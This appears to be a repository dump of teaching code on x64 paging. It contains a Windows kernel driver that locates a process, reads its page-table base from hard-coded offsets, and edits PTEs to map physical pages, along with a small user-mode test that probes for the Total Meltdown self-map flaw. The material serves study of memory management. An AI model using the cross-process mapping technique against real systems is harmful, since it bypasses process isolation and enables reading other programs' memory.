%_12_03_ShareMemory.DeviceDesc%=_12_03_ShareMemory_Device, Root\_12_03_ShareMemory ; TODO: edit hw-id 34 | 35 | [_12_03_ShareMemory_Device.NT] 36 | CopyFiles=Drivers_Dir 37 | 38 | [Drivers_Dir] 39 | 12.03.ShareMemory.sys 40 | 41 | ;-------------- Service installation 42 | [_12_03_ShareMemory_Device.NT.Services] 43 | AddService = _12_03_ShareMemory,%SPSVCINST_ASSOCSERVICE%, _12_03_ShareMemory_Service_Inst 44 | 45 | ; -------------- _12_03_ShareMemory driver install sections 46 | [_12_03_ShareMemory_Service_Inst] 47 | DisplayName = %_12_03_ShareMemory.SVCDESC% 48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 49 | StartType = 3 ; SERVICE_DEMAND_START 50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 51 | ServiceBinary = %12%\_12_03_ShareMemory.sys 52 | 53 | ; 54 | ;--- _12_03_ShareMemory_Device Coinstaller installation ------ 55 | ; 56 | 57 | [_12_03_ShareMemory_Device.NT.CoInstallers] 58 | AddReg=_12_03_ShareMemory_Device_CoInstaller_AddReg 59 | CopyFiles=_12_03_ShareMemory_Device_CoInstaller_CopyFiles 60 | 61 | [_12_03_ShareMemory_Device_CoInstaller_AddReg] 62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 63 | 64 | [_12_03_ShareMemory_Device_CoInstaller_CopyFiles] 65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 66 | 67 | [_12_03_ShareMemory_Device.NT.Wdf] 68 | KmdfService = _12_03_ShareMemory, _12_03_ShareMemory_wdfsect 69 | [_12_03_ShareMemory_wdfsect] 70 | KmdfLibraryVersion = $KMDFVERSION$ 71 | 72 | [Strings] 73 | SPSVCINST_ASSOCSERVICE= 0x00000002 74 | ManufacturerName="" ;TODO: Replace with your manufacturer name 75 | DiskName = "_12_03_ShareMemory Installation Disk" 76 | _12_03_ShareMemory.DeviceDesc = "_12_03_ShareMemory Device" 77 | _12_03_ShareMemory.SVCDESC = "_12_03_ShareMemory Service" 78 | -------------------------------------------------------------------------------- /12.03.ShareMemory/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #define EXIT_IF_FAILED(Status, ...) do\ 5 | {\ 6 | if (!NT_SUCCESS(Status))\ 7 | {\ 8 | __VA_ARGS__\ 9 | goto Exit; \ 10 | }\ 11 | } while(false) 12 | -------------------------------------------------------------------------------- /12.03.ShareMemory/main.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/12.03.ShareMemory/main.c -------------------------------------------------------------------------------- /12.03.ShareMemory/win10.c: -------------------------------------------------------------------------------- 1 | #include "win10.h" 2 | 3 | NTSTATUS 4 | QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID* SystemInformation) 5 | { 6 | NTSTATUS Status; 7 | PVOID Buffer; 8 | ULONG BufferSize = 4096; 9 | 10 | do 11 | { 12 | Buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, BufferSize, 'bisQ'); 13 | if (!Buffer) return STATUS_NO_MEMORY; 14 | 15 | Status = NtQuerySystemInformation(SystemInformationClass, Buffer, BufferSize, &BufferSize); 16 | if (NT_SUCCESS(Status)) { 17 | *SystemInformation = Buffer; 18 | return Status; 19 | } 20 | 21 | ExFreePool(Buffer); 22 | if (STATUS_INFO_LENGTH_MISMATCH != Status) return Status; 23 | } while (TRUE); 24 | } 25 | 26 | NTSTATUS 27 | LookUpProcessByImageName(PCWSTR ImageName, PEPROCESS* Process) 28 | { 29 | NTSTATUS Status; 30 | PSYSTEM_PROCESS_INFORMATION ProcessInformationArray = NULL; 31 | 32 | Status = QuerySystemInformation(SystemProcessInformation, &ProcessInformationArray); 33 | if (!NT_SUCCESS(Status)) return Status; 34 | 35 | PSYSTEM_PROCESS_INFORMATION CurrentInformation = ProcessInformationArray; 36 | UNICODE_STRING ImageNameUnicodeString; 37 | RtlInitUnicodeString(&ImageNameUnicodeString, ImageName); 38 | 39 | while (TRUE) 40 | { 41 | if (RtlCompareUnicodeString(&CurrentInformation->ImageName, &ImageNameUnicodeString, FALSE) == 0) 42 | { 43 | Status = PsLookupProcessByProcessId(CurrentInformation->UniqueProcessId, Process); 44 | ExFreePool(ProcessInformationArray); 45 | return Status; 46 | } 47 | 48 | if (CurrentInformation->NextEntryOffset == 0) 49 | { 50 | ExFreePool(ProcessInformationArray); 51 | return STATUS_NOT_FOUND; 52 | } 53 | 54 | CurrentInformation = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)CurrentInformation + CurrentInformation->NextEntryOffset); 55 | } 56 | } 57 | 58 | NTSTATUS 59 | GetProcessDirectoryTableBase(PEPROCESS Process, CR3* DirectoryTableBase) 60 | { 61 | RTL_OSVERSIONINFOW Version = { .dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW) }; 62 | RtlGetVersion(&Version); 63 | 64 | UINT64 Offset; 65 | if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19044) Offset = 0x028; 66 | else if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19045) Offset = 0x028; 67 | else return STATUS_NOT_SUPPORTED; 68 | 69 | *DirectoryTableBase = *(CR3*)((UINT64)Process + Offset); 70 | return STATUS_SUCCESS; 71 | } 72 | 73 | NTSTATUS 74 | GetProcessUserDirectoryTableBase(PEPROCESS Process, CR3* UserDirectoryTableBase) 75 | { 76 | RTL_OSVERSIONINFOW Version = { .dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW) }; 77 | RtlGetVersion(&Version); 78 | 79 | UINT64 Offset; 80 | if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19044) Offset = 0x388; 81 | else if (Version.dwMajorVersion == 12 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19045) Offset = 0x388; 82 | else return STATUS_NOT_SUPPORTED; 83 | 84 | *UserDirectoryTableBase = *(CR3*)((UINT64)Process + Offset); 85 | return STATUS_SUCCESS; 86 | } 87 | 88 | NTSTATUS 89 | GetProcessAddressPolicy(PEPROCESS Process, BOOLEAN* AddressPolicy) 90 | { 91 | RTL_OSVERSIONINFOW Version = { .dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW) }; 92 | RtlGetVersion(&Version); 93 | 94 | UINT64 Offset; 95 | if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19044) Offset = 0x390; 96 | else if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19045) Offset = 0x390; 97 | else return STATUS_NOT_SUPPORTED; 98 | 99 | *AddressPolicy = *(BOOLEAN*)((UINT64)Process + Offset); 100 | return STATUS_SUCCESS; 101 | } 102 | -------------------------------------------------------------------------------- /12.03.ShareMemory/win10.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "x64.h" 4 | 5 | // winternl.h 6 | typedef enum _SYSTEM_INFORMATION_CLASS { 7 | SystemBasicInformation = 0, 8 | SystemPerformanceInformation = 2, 9 | SystemTimeOfDayInformation = 3, 10 | SystemProcessInformation = 5, 11 | SystemProcessorPerformanceInformation = 8, 12 | SystemInterruptInformation = 23, 13 | SystemExceptionInformation = 33, 14 | SystemRegistryQuotaInformation = 37, 15 | SystemLookasideInformation = 45, 16 | SystemCodeIntegrityInformation = 103, 17 | SystemPolicyInformation = 134, 18 | } SYSTEM_INFORMATION_CLASS; 19 | 20 | // winternl.h 21 | typedef struct _SYSTEM_PROCESS_INFORMATION { 22 | ULONG NextEntryOffset; 23 | ULONG NumberOfThreads; 24 | UCHAR Reserved1[48]; 25 | UNICODE_STRING ImageName; 26 | KPRIORITY BasePriority; 27 | HANDLE UniqueProcessId; 28 | PVOID Reserved2; 29 | ULONG HandleCount; 30 | ULONG SessionId; 31 | PVOID Reserved3; 32 | SIZE_T PeakVirtualSize; 33 | SIZE_T VirtualSize; 34 | ULONG Reserved4; 35 | SIZE_T PeakWorkingSetSize; 36 | SIZE_T WorkingSetSize; 37 | PVOID Reserved5; 38 | SIZE_T QuotaPagedPoolUsage; 39 | PVOID Reserved6; 40 | SIZE_T QuotaNonPagedPoolUsage; 41 | SIZE_T PagefileUsage; 42 | SIZE_T PeakPagefileUsage; 43 | SIZE_T PrivatePageCount; 44 | LARGE_INTEGER Reserved7[6]; 45 | } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; 46 | 47 | // winternl.h 48 | // https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation 49 | NTKERNELAPI 50 | NTSTATUS 51 | NtQuerySystemInformation( 52 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 53 | PVOID SystemInformation, 54 | ULONG SystemInformationLength, 55 | PULONG ReturnLength 56 | ); 57 | 58 | NTSTATUS 59 | QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID* SystemInformation); 60 | 61 | NTSTATUS 62 | LookUpProcessByImageName(PCWSTR ImageName, PEPROCESS* Process); 63 | 64 | NTSTATUS 65 | GetProcessDirectoryTableBase(PEPROCESS Process, CR3* DirectoryTableBase); 66 | 67 | NTSTATUS 68 | GetProcessUserDirectoryTableBase(PEPROCESS Process, CR3* UserDirectoryTableBase); 69 | 70 | NTSTATUS 71 | GetProcessAddressPolicy(PEPROCESS Process, BOOLEAN* AddressPolicy); 72 | -------------------------------------------------------------------------------- /12.03.ShareMemory/x64.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include "x64.h" 3 | #include "win10.h" 4 | 5 | VOID 6 | CanonicalizeVa1(VA* Va) 7 | { 8 | if (Va->Fields.VPN1 >= 256) 9 | Va->Fields.SEXT = 0xFFFF; 10 | else 11 | Va->Fields.SEXT = 0; 12 | } 13 | 14 | VOID 15 | CanonicalizeVa2(VA* Va) 16 | { 17 | Va->Value = (INT64)(Va->Value << 16) >> 16; 18 | } 19 | 20 | NTSTATUS 21 | AllocateL4pte(PL4PTE* L4pte, PVOID* ptr) 22 | { 23 | CR3 Cr3 = { .Value = __readcr3() }; 24 | PA L1ptPa = (PA){ .Fields4KB.PPN = Cr3.Fields.PPN }; 25 | PL1PTE L1pt = MmGetVirtualForPhysical(L1ptPa.AsLargeInteger); 26 | for (size_t n1 = 0; n1 < 512; n1++) 27 | { 28 | if (!L1pt[n1].Fields.P) continue; 29 | 30 | PA L2ptPa = { .Fields4KB.PPN = L1pt[n1].Fields.PPN }; 31 | PL2PTE L2pt = MmGetVirtualForPhysical(L2ptPa.AsLargeInteger); 32 | for (size_t n2 = 0; n2 < 512; n2++) 33 | { 34 | if (!L2pt[n2].Fields.P || L2pt[n2].Fields1GB.PS) continue; 35 | 36 | PA L3ptPa = { .Fields4KB.PPN = L2pt[n2].Fields.PPN }; 37 | PL3PTE L3pt = MmGetVirtualForPhysical(L3ptPa.AsLargeInteger); 38 | for (size_t n3 = 0; n3 < 512; n3++) 39 | { 40 | if (!L3pt[n3].Fields.P || L3pt[n3].Fields2MB.PS) continue; 41 | 42 | PA L4ptPa = { .Fields4KB.PPN = L3pt[n3].Fields.PPN }; 43 | PL4PTE L4pt = MmGetVirtualForPhysical(L4ptPa.AsLargeInteger); 44 | for (size_t n4 = 0; n4 < 512; n4++) 45 | { 46 | if (L4pt[n4].Fields.P) continue; 47 | 48 | L4pt[n4] = (L4PTE){ .Fields = { .P = 1, .R_W = 1 } }; 49 | *L4pte = &L4pt[n4]; 50 | VA Va = { .Fields4KB = { .VPN1 = n1, .VPN2 = n2, .VPN3 = n3, .VPN4 = n4 } }; 51 | CanonicalizeVa(&Va); 52 | *ptr = Va.AsPtr; 53 | return STATUS_SUCCESS; 54 | } 55 | } 56 | } 57 | } 58 | 59 | return STATUS_NOT_FOUND; 60 | } 61 | 62 | VOID 63 | MapPage4KB(UINT64 PPN, PL4PTE L4pte, PVOID Ptr) 64 | { 65 | L4pte->Fields.PPN = PPN; 66 | __invlpg(Ptr); 67 | } 68 | 69 | VOID 70 | FreeL4pte(PL4PTE L4pte, PVOID Ptr) 71 | { 72 | L4pte->Value = 0; 73 | __invlpg(Ptr); 74 | } 75 | -------------------------------------------------------------------------------- /12.03.ShareMemory/x64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | typedef union _CR3 6 | { 7 | UINT64 Value; 8 | struct 9 | { 10 | UINT64 Ignored1 : 3; 11 | UINT64 PWT : 1; 12 | UINT64 PCD : 1; 13 | UINT64 Ignored2 : 7; 14 | UINT64 PPN : 40; 15 | UINT64 Reserved1 : 12; 16 | } Fields; 17 | } CR3, * PCR3; 18 | static_assert(sizeof(CR3) == 8, "sizeof CR3"); 19 | 20 | typedef union _PA 21 | { 22 | UINT64 Value; 23 | LARGE_INTEGER AsLargeInteger; 24 | struct 25 | { 26 | UINT64 PPO : 12; 27 | UINT64 PPN : 40; 28 | UINT64 Reserved1 : 12; 29 | } Fields4KB; 30 | struct 31 | { 32 | UINT64 PPO : 21; 33 | UINT64 PPN : 31; 34 | UINT64 Reserved1 : 12; 35 | } Fields2MB; 36 | struct 37 | { 38 | UINT64 PPO : 30; 39 | UINT64 PPN : 22; 40 | UINT64 Reserved1 : 12; 41 | } Fields1GB; 42 | } PA, * PPA; 43 | 44 | typedef union _L1PTE 45 | { 46 | UINT64 Value; 47 | struct 48 | { 49 | UINT64 P : 1; 50 | UINT64 R_W : 1; 51 | UINT64 U_S : 1; 52 | UINT64 PWT : 1; 53 | UINT64 PCD : 1; 54 | UINT64 A : 1; 55 | UINT64 Ingored1 : 1; 56 | UINT64 Reserved1 : 1; 57 | UINT64 Ignored2 : 3; 58 | UINT64 R : 1; 59 | UINT64 PPN : 40; 60 | UINT64 Ignored3 : 11; 61 | UINT64 XD : 1; 62 | } Fields; 63 | } L1PTE, * PL1PTE; 64 | static_assert(sizeof(L1PTE) == 8, "sizeof L1PTE"); 65 | 66 | typedef union _L2PTE 67 | { 68 | UINT64 Value; 69 | struct 70 | { 71 | UINT64 P : 1; 72 | UINT64 R_W : 1; 73 | UINT64 U_S : 1; 74 | UINT64 PWT : 1; 75 | UINT64 PCD : 1; 76 | UINT64 A : 1; 77 | UINT64 D : 1; 78 | UINT64 PS : 1; 79 | UINT64 G : 1; 80 | UINT64 Ignored1 : 2; 81 | UINT64 R : 1; 82 | UINT64 PAT : 1; 83 | UINT64 Reserved1 : 17; 84 | UINT64 PPN : 22; 85 | UINT64 Ignored2 : 7; 86 | UINT64 ProtKey : 4; 87 | UINT64 XD : 1; 88 | } Fields1GB; 89 | struct 90 | { 91 | UINT64 P : 1; 92 | UINT64 R_W : 1; 93 | UINT64 U_S : 1; 94 | UINT64 PWT : 1; 95 | UINT64 PCD : 1; 96 | UINT64 A : 1; 97 | UINT64 Ignored1 : 1; 98 | UINT64 PS : 1; 99 | UINT64 Ignored2 : 3; 100 | UINT64 R : 1; 101 | UINT64 PPN : 40; 102 | UINT64 Ignored3 : 11; 103 | UINT64 XD : 1; 104 | } Fields; 105 | } L2PTE, * PL2PTE; 106 | static_assert(sizeof(L2PTE) == 8, "sizeof L2PTE"); 107 | 108 | typedef union _L3PTE 109 | { 110 | UINT64 Value; 111 | struct 112 | { 113 | UINT64 P : 1; 114 | UINT64 R_W : 1; 115 | UINT64 U_S : 1; 116 | UINT64 PWT : 1; 117 | UINT64 PCD : 1; 118 | UINT64 A : 1; 119 | UINT64 D : 1; 120 | UINT64 PS : 1; 121 | UINT64 G : 1; 122 | UINT64 Ignored1 : 2; 123 | UINT64 R : 1; 124 | UINT64 PAT : 1; 125 | UINT64 Reserved1 : 8; 126 | UINT64 PPN : 31; 127 | UINT64 Ignored2 : 7; 128 | UINT64 ProtKey : 4; 129 | UINT64 XD : 1; 130 | } Fields2MB; 131 | struct 132 | { 133 | UINT64 P : 1; 134 | UINT64 R_W : 1; 135 | UINT64 U_S : 1; 136 | UINT64 PWT : 1; 137 | UINT64 PCD : 1; 138 | UINT64 A : 1; 139 | UINT64 Ingored1 : 1; 140 | UINT64 PS : 1; 141 | UINT64 Ignored2 : 3; 142 | UINT64 R : 1; 143 | UINT64 PPN : 40; 144 | UINT64 Ignored3 : 11; 145 | UINT64 XD : 1; 146 | } Fields; 147 | } L3PTE, * PL3PTE; 148 | static_assert(sizeof(L3PTE) == 8, "sizeof L3PTE"); 149 | 150 | typedef union _L4PTE 151 | { 152 | UINT64 Value; 153 | struct 154 | { 155 | UINT64 P : 1; 156 | UINT64 R_W : 1; 157 | UINT64 U_S : 1; 158 | UINT64 PWT : 1; 159 | UINT64 PCD : 1; 160 | UINT64 A : 1; 161 | UINT64 D : 1; 162 | UINT64 PAT : 1; 163 | UINT64 G : 1; 164 | UINT64 Ignored1 : 2; 165 | UINT64 R : 1; 166 | UINT64 PPN : 40; 167 | UINT64 Ignored2 : 7; 168 | UINT64 ProtKey : 4; 169 | UINT64 XD : 1; 170 | } Fields; 171 | } L4PTE, * PL4PTE; 172 | static_assert(sizeof(L4PTE) == 8, "sizeof L4PTE"); 173 | 174 | typedef union _VA 175 | { 176 | UINT64 Value; 177 | PVOID AsPtr; 178 | struct 179 | { 180 | UINT64 VPO : 12; 181 | UINT64 VPN4 : 9; 182 | UINT64 VPN3 : 9; 183 | UINT64 VPN2 : 9; 184 | UINT64 VPN1 : 9; 185 | UINT64 SEXT : 16; 186 | } Fields4KB; 187 | struct 188 | { 189 | UINT64 VPO : 21; 190 | UINT64 VPN3 : 9; 191 | UINT64 VPN2 : 9; 192 | UINT64 VPN1 : 9; 193 | UINT64 SEXT : 16; 194 | } Fields2MB; 195 | struct 196 | { 197 | UINT64 VPO : 30; 198 | UINT64 VPN2 : 9; 199 | UINT64 VPN1 : 9; 200 | UINT64 SEXT : 16; 201 | } Fields1GB; 202 | struct 203 | { 204 | UINT64 Ignored1 : 12; 205 | UINT64 VPN4 : 9; 206 | UINT64 VPN3 : 9; 207 | UINT64 VPN2 : 9; 208 | UINT64 VPN1 : 9; 209 | UINT64 SEXT : 16; 210 | } Fields; 211 | } VA, * PVA; 212 | static_assert(sizeof(VA) == 8, "sizeof VA"); 213 | 214 | VOID 215 | CanonicalizeVa1(VA* Va); 216 | 217 | VOID 218 | CanonicalizeVa2(VA* Va); 219 | 220 | #define CanonicalizeVa CanonicalizeVa1 221 | 222 | NTSTATUS 223 | AllocateL4pte(PL4PTE* L4pte, PVOID* Ptr); 224 | 225 | VOID 226 | MapPage4KB(UINT64 PPN, PL4PTE L4pte, PVOID Ptr); 227 | 228 | VOID 229 | FreeL4pte(PL4PTE L4pte, PVOID Ptr); 230 | -------------------------------------------------------------------------------- /13.01.TotalMeltdownTest/13.01.TotalMeltdownTest.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 23 | 24 | 头文件 25 | 26 | 27 | -------------------------------------------------------------------------------- /13.01.TotalMeltdownTest/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "x64.h" 3 | 4 | int main() { 5 | VA Va = { .Fields4KB = { .VPN1=493, .VPN2=493, .VPN3=493, .VPN4=493, .VPO=493*8 } }; 6 | CanonicalizeVa(&Va); 7 | 8 | if (!Va.Value) return 0; // make vs happy 9 | 10 | __try 11 | { 12 | L1PTE SelfMappingEntry = *(PL1PTE)Va.Value; 13 | printf("SelfMappingEntry Value=0x%016I64X U/S=%I64d R/W=%I64d\n" 14 | , SelfMappingEntry.Value 15 | , SelfMappingEntry.Fields.U_S 16 | , SelfMappingEntry.Fields.R_W 17 | ); 18 | } 19 | __except (EXCEPTION_EXECUTE_HANDLER) 20 | { 21 | printf("NO\n"); 22 | } 23 | 24 | return 0; 25 | } 26 | -------------------------------------------------------------------------------- /13.01.TotalMeltdownTest/x64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | typedef union _CR3 5 | { 6 | UINT64 Value; 7 | struct 8 | { 9 | UINT64 Ignored1 : 3; 10 | UINT64 PWT : 1; 11 | UINT64 PCD : 1; 12 | UINT64 Ignored2 : 7; 13 | UINT64 PPN : 40; 14 | UINT64 Reserved1 : 12; 15 | } Fields; 16 | } CR3, * PCR3; 17 | static_assert(sizeof(CR3) == 8, "sizeof CR3"); 18 | 19 | typedef union _PA 20 | { 21 | UINT64 Value; 22 | LARGE_INTEGER AsLargeInteger; 23 | struct 24 | { 25 | UINT64 PPO : 12; 26 | UINT64 PPN : 40; 27 | UINT64 Reserved1 : 12; 28 | } Fields4KB; 29 | struct 30 | { 31 | UINT64 PPO : 21; 32 | UINT64 PPN : 31; 33 | UINT64 Reserved1 : 12; 34 | } Fields2MB; 35 | struct 36 | { 37 | UINT64 PPO : 30; 38 | UINT64 PPN : 22; 39 | UINT64 Reserved1 : 12; 40 | } Fields1GB; 41 | } PA, * PPA; 42 | 43 | typedef union _L1PTE 44 | { 45 | UINT64 Value; 46 | struct 47 | { 48 | UINT64 P : 1; 49 | UINT64 R_W : 1; 50 | UINT64 U_S : 1; 51 | UINT64 PWT : 1; 52 | UINT64 PCD : 1; 53 | UINT64 A : 1; 54 | UINT64 Ingored1 : 1; 55 | UINT64 Reserved1 : 1; 56 | UINT64 Ignored2 : 3; 57 | UINT64 R : 1; 58 | UINT64 PPN : 40; 59 | UINT64 Ignored3 : 11; 60 | UINT64 XD : 1; 61 | } Fields; 62 | } L1PTE, * PL1PTE; 63 | static_assert(sizeof(L1PTE) == 8, "sizeof L1PTE"); 64 | 65 | typedef union _L2PTE 66 | { 67 | UINT64 Value; 68 | struct 69 | { 70 | UINT64 P : 1; 71 | UINT64 R_W : 1; 72 | UINT64 U_S : 1; 73 | UINT64 PWT : 1; 74 | UINT64 PCD : 1; 75 | UINT64 A : 1; 76 | UINT64 D : 1; 77 | UINT64 PS : 1; 78 | UINT64 G : 1; 79 | UINT64 Ignored1 : 2; 80 | UINT64 R : 1; 81 | UINT64 PAT : 1; 82 | UINT64 Reserved1 : 17; 83 | UINT64 PPN : 22; 84 | UINT64 Ignored2 : 7; 85 | UINT64 ProtKey : 4; 86 | UINT64 XD : 1; 87 | } Fields1GB; 88 | struct 89 | { 90 | UINT64 P : 1; 91 | UINT64 R_W : 1; 92 | UINT64 U_S : 1; 93 | UINT64 PWT : 1; 94 | UINT64 PCD : 1; 95 | UINT64 A : 1; 96 | UINT64 Ignored1 : 1; 97 | UINT64 PS : 1; 98 | UINT64 Ignored2 : 3; 99 | UINT64 R : 1; 100 | UINT64 PPN : 40; 101 | UINT64 Ignored3 : 11; 102 | UINT64 XD : 1; 103 | } Fields; 104 | } L2PTE, * PL2PTE; 105 | static_assert(sizeof(L2PTE) == 8, "sizeof L2PTE"); 106 | 107 | typedef union _L3PTE 108 | { 109 | UINT64 Value; 110 | struct 111 | { 112 | UINT64 P : 1; 113 | UINT64 R_W : 1; 114 | UINT64 U_S : 1; 115 | UINT64 PWT : 1; 116 | UINT64 PCD : 1; 117 | UINT64 A : 1; 118 | UINT64 D : 1; 119 | UINT64 PS : 1; 120 | UINT64 G : 1; 121 | UINT64 Ignored1 : 2; 122 | UINT64 R : 1; 123 | UINT64 PAT : 1; 124 | UINT64 Reserved1 : 8; 125 | UINT64 PPN : 31; 126 | UINT64 Ignored2 : 7; 127 | UINT64 ProtKey : 4; 128 | UINT64 XD : 1; 129 | } Fields2MB; 130 | struct 131 | { 132 | UINT64 P : 1; 133 | UINT64 R_W : 1; 134 | UINT64 U_S : 1; 135 | UINT64 PWT : 1; 136 | UINT64 PCD : 1; 137 | UINT64 A : 1; 138 | UINT64 Ingored1 : 1; 139 | UINT64 PS : 1; 140 | UINT64 Ignored2 : 3; 141 | UINT64 R : 1; 142 | UINT64 PPN : 40; 143 | UINT64 Ignored3 : 11; 144 | UINT64 XD : 1; 145 | } Fields; 146 | } L3PTE, * PL3PTE; 147 | static_assert(sizeof(L3PTE) == 8, "sizeof L3PTE"); 148 | 149 | typedef union _L4PTE 150 | { 151 | UINT64 Value; 152 | struct 153 | { 154 | UINT64 P : 1; 155 | UINT64 R_W : 1; 156 | UINT64 U_S : 1; 157 | UINT64 PWT : 1; 158 | UINT64 PCD : 1; 159 | UINT64 A : 1; 160 | UINT64 D : 1; 161 | UINT64 PAT : 1; 162 | UINT64 G : 1; 163 | UINT64 Ignored1 : 2; 164 | UINT64 R : 1; 165 | UINT64 PPN : 40; 166 | UINT64 Ignored2 : 7; 167 | UINT64 ProtKey : 4; 168 | UINT64 XD : 1; 169 | } Fields; 170 | } L4PTE, * PL4PTE; 171 | static_assert(sizeof(L4PTE) == 8, "sizeof L4PTE"); 172 | 173 | typedef union _VA 174 | { 175 | UINT64 Value; 176 | PVOID AsPtr; 177 | struct 178 | { 179 | UINT64 VPO : 12; 180 | UINT64 VPN4 : 9; 181 | UINT64 VPN3 : 9; 182 | UINT64 VPN2 : 9; 183 | UINT64 VPN1 : 9; 184 | UINT64 SEXT : 16; 185 | } Fields4KB; 186 | struct 187 | { 188 | UINT64 VPO : 21; 189 | UINT64 VPN3 : 9; 190 | UINT64 VPN2 : 9; 191 | UINT64 VPN1 : 9; 192 | UINT64 SEXT : 16; 193 | } Fields2MB; 194 | struct 195 | { 196 | UINT64 VPO : 30; 197 | UINT64 VPN2 : 9; 198 | UINT64 VPN1 : 9; 199 | UINT64 SEXT : 16; 200 | } Fields1GB; 201 | struct 202 | { 203 | UINT64 Ignored1 : 12; 204 | UINT64 VPN4 : 9; 205 | UINT64 VPN3 : 9; 206 | UINT64 VPN2 : 9; 207 | UINT64 VPN1 : 9; 208 | UINT64 SEXT : 16; 209 | } Fields; 210 | } VA, * PVA; 211 | static_assert(sizeof(VA) == 8, "sizeof VA"); 212 | 213 | #define CanonicalizeVa(Va) (Va)->Value = (INT64)((Va)->Value << 16) >> 16; 214 | -------------------------------------------------------------------------------- /PageTableViewer/.vscode/extensions.json: -------------------------------------------------------------------------------- 1 | { 2 | "recommendations": [ 3 | "esbenp.prettier-vscode", 4 | "ritwickdey.liveserver", 5 | ] 6 | } 7 | -------------------------------------------------------------------------------- /PageTableViewer/.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "css.lint.validProperties": ["dominant-baseline", "rx", "r"], 3 | "prettier.printWidth": 100, 4 | "prettier.singleQuote": true, 5 | "editor.formatOnSave": true, 6 | "files.exclude": { 7 | ".vscode": true, 8 | "assets": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /PageTableViewer/assets/application.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | font-family: "Sarasa Mono SC"; 3 | src: url("sarasa-mono-sc-regular.ttf"); 4 | } 5 | 6 | @font-face { 7 | font-family: "Sarasa Mono SC"; 8 | src: url("sarasa-mono-sc-bold.ttf"); 9 | font-weight: bold; 10 | } 11 | 12 | body { 13 | margin: 0; 14 | font-family: "Sarasa Mono SC"; 15 | } 16 | 17 | body > svg { 18 | display: block; 19 | text-anchor: start; 20 | dominant-baseline: text-before-edge; 21 | } 22 | 23 | body > svg .graph-node { 24 | white-space: pre; 25 | } 26 | 27 | body > svg .graph-node .header-text { 28 | font-size: 18px; 29 | fill: #fff; 30 | font-weight: bold; 31 | } 32 | 33 | body > svg .graph-node > .background { 34 | fill: #fff; 35 | stroke: #aaa; 36 | stroke-width: 5; 37 | paint-order: stroke; 38 | rx: 5px; 39 | overflow: hidden; 40 | } 41 | 42 | body > svg .graph-node .row .key { 43 | fill: #444; 44 | font-weight: bold; 45 | font-size: 14px; 46 | } 47 | 48 | body > svg .graph-node .row .value { 49 | fill: #444; 50 | font-size: 14px; 51 | } 52 | 53 | body > svg .graph-node .row .divider { 54 | fill: #aaa; 55 | } 56 | 57 | body > svg .graph-link .line { 58 | fill: none; 59 | stroke: #aaa; 60 | stroke-width: 1px; 61 | } 62 | 63 | body > svg .graph-link .point { 64 | fill: #fff; 65 | stroke: #aaa; 66 | stroke-width: 2px; 67 | r: 4px; 68 | } 69 | 70 | body > svg .graph-link.selected .line { 71 | stroke: #f46d43; 72 | stroke-width: 3px; 73 | } 74 | -------------------------------------------------------------------------------- /PageTableViewer/assets/application.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * @typedef {{ 4 | * title?: any, 5 | * items?: ([any, any]|[any, any, Data])[] 6 | * }} Data 7 | */ 8 | 9 | /** 10 | * 11 | * @param {d3.Selection} ctx 12 | * @param {Data} data 13 | * @param {string[]} colors 14 | * @returns {[GraphNode[][], GraphLink[]]} 15 | */ 16 | function parseData(ctx, data, colors) { 17 | /** 18 | * @type {GraphNode[][]} 19 | */ 20 | const nodes = []; 21 | /** 22 | * @type {GraphLink[]} 23 | */ 24 | const links = []; 25 | 26 | /** 27 | * 28 | * @param {Data} data 29 | * @param {number} depth 30 | */ 31 | function _parseData(data, depth) { 32 | const items = data.items?.map(([key, value]) => ({ key, value })) || []; 33 | const node = new GraphNode({ ctx, title: data.title, items, color: colors[depth] || "#000" }); 34 | 